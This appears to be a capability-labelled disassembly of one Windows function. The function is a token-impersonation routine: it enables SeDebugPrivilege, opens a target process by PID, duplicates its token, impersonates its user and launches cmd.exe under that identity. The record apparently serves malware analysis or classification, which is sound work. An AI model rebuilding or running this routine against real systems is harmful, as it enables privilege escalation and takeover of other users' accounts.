Function at 0x140011488
Capabilities:
Acquire debug privileges
Create process on windows
Impersonate user

Disassembly:
jmp 0x140016ca0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x488
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0xae
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x4a8]
mov rax, qword [0x140025018]
xor rax, rbp
mov qword [rbp + 0x420], rax
lea rcx, [0x14002b0f4]
call fcn.1400116a4
lea rcx, [rbp + 0x3a8]
call fcn.14001151e
mov qword [rbp + 0x418], rax
mov rcx, qword [rbp + 0x418]
call fcn.14001109b
mov rdx, rax
lea rcx, str.___Current_user_is:__s_n
call fcn.140011311
lea rcx, [rbp + 0x3a8]
call fcn.140011145
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 0x458]
mov rax, qword [rcx + rax]
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_atoi]
mov dword [rbp + 0x24], eax
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x68], 0
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0x90]
call fcn.14001150f
mov r8d, 0x18
xor edx, edx
lea rcx, [rbp + 0x118]
call fcn.14001150f
mov dword [rbp + 0x90], 0x68
mov qword [rbp + 0x148], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x148]
mov edx, 0x20
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov dword [rbp + 0x164], eax
mov r8d, 1
lea rdx, str.SeDebugPrivilege
mov rcx, qword [rbp + 0x148]
call fcn.14001100a
test eax, eax
je 0x140016de2
lea rcx, str.___SeDebugPrivilege_enabled__n
call fcn.140011311
mov r8d, dword [rbp + 0x24]
mov edx, 1
mov ecx, 0x1000
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x188], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140016e15
lea rcx, str.___OpenProcess___success__n
call fcn.140011311
jmp 0x140016e3c
mov rdx, qword [rbp + 0x188]
lea rcx, str.____OpenProcess___Return_Code:__i_n
call fcn.140011311
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____OpenProcess___Error:__i_n
call fcn.140011311
lea r8, [rbp + 0x48]
mov edx, 0x2000000
mov rcx, qword [rbp + 0x188]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov dword [rbp + 0x1a4], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140016e70
lea rcx, str.___OpenProcessToken___success__n
call fcn.140011311
jmp 0x140016e96
mov edx, dword [rbp + 0x1a4]
lea rcx, str.____OpenProcessToken___Return_Code:__i_n
call fcn.140011311
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____OpenProcessToken___Error:__i_n
call fcn.140011311
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov dword [rbp + 0x1c4], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140016f0a
lea rcx, str.___ImpersonatedLoggedOnUser___success__n
call fcn.140011311
lea rcx, [rbp + 0x3e8]
call fcn.14001151e
mov qword [rbp + 0x418], rax
mov rcx, qword [rbp + 0x418]
call fcn.14001109b
mov rdx, rax
lea rcx, str.___Current_user_is:__s_n
call fcn.140011311
lea rcx, [rbp + 0x3e8]
call fcn.140011145
lea rcx, str.___Reverting_thread_to_original_user_context_n
call fcn.140011311
call qword [sym.imp.ADVAPI32.dll_RevertToSelf]
jmp 0x140016f30
mov edx, dword [rbp + 0x1a4]
lea rcx, str.____ImpersonatedLoggedOnUser___Return_Code:__i_n
call fcn.140011311
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____ImpersonatedLoggedOnUser___Error:__i_n
call fcn.140011311
lea rax, [rbp + 0x68]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
mov r9d, 2
xor r8d, r8d
mov edx, 0x2000000
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
mov dword [rbp + 0x1e4], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140016f77
lea rcx, str.___DuplicateTokenEx___success__n
call fcn.140011311
jmp 0x140016f9d
mov edx, dword [rbp + 0x1e4]
lea rcx, str.____DuplicateTokenEx___Return_Code:__i_n
call fcn.140011311
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____DupicateTokenEx___Error:__i_n
call fcn.140011311
lea rax, [rbp + 0x118]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x90]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem32cmd.exe
mov edx, 1
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
mov dword [rbp + 0x204], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140017006
lea rcx, str.___Process_spawned__n
call fcn.140011311
jmp 0x14001702c
mov edx, dword [rbp + 0x204]
lea rcx, str.____CreateProcessWithTokenW_Return_Code:__i_n
call fcn.140011311
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateProcessWithTokenW_Error:__i_n
call fcn.140011311
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x50]
lea rdx, [0x1400204c0]
call fcn.1400115a5
mov eax, edi
mov rcx, qword [rbp + 0x420]
xor rcx, rbp
call fcn.140011334
lea rsp, [rbp + 0x438]
pop rdi
pop rbp
ret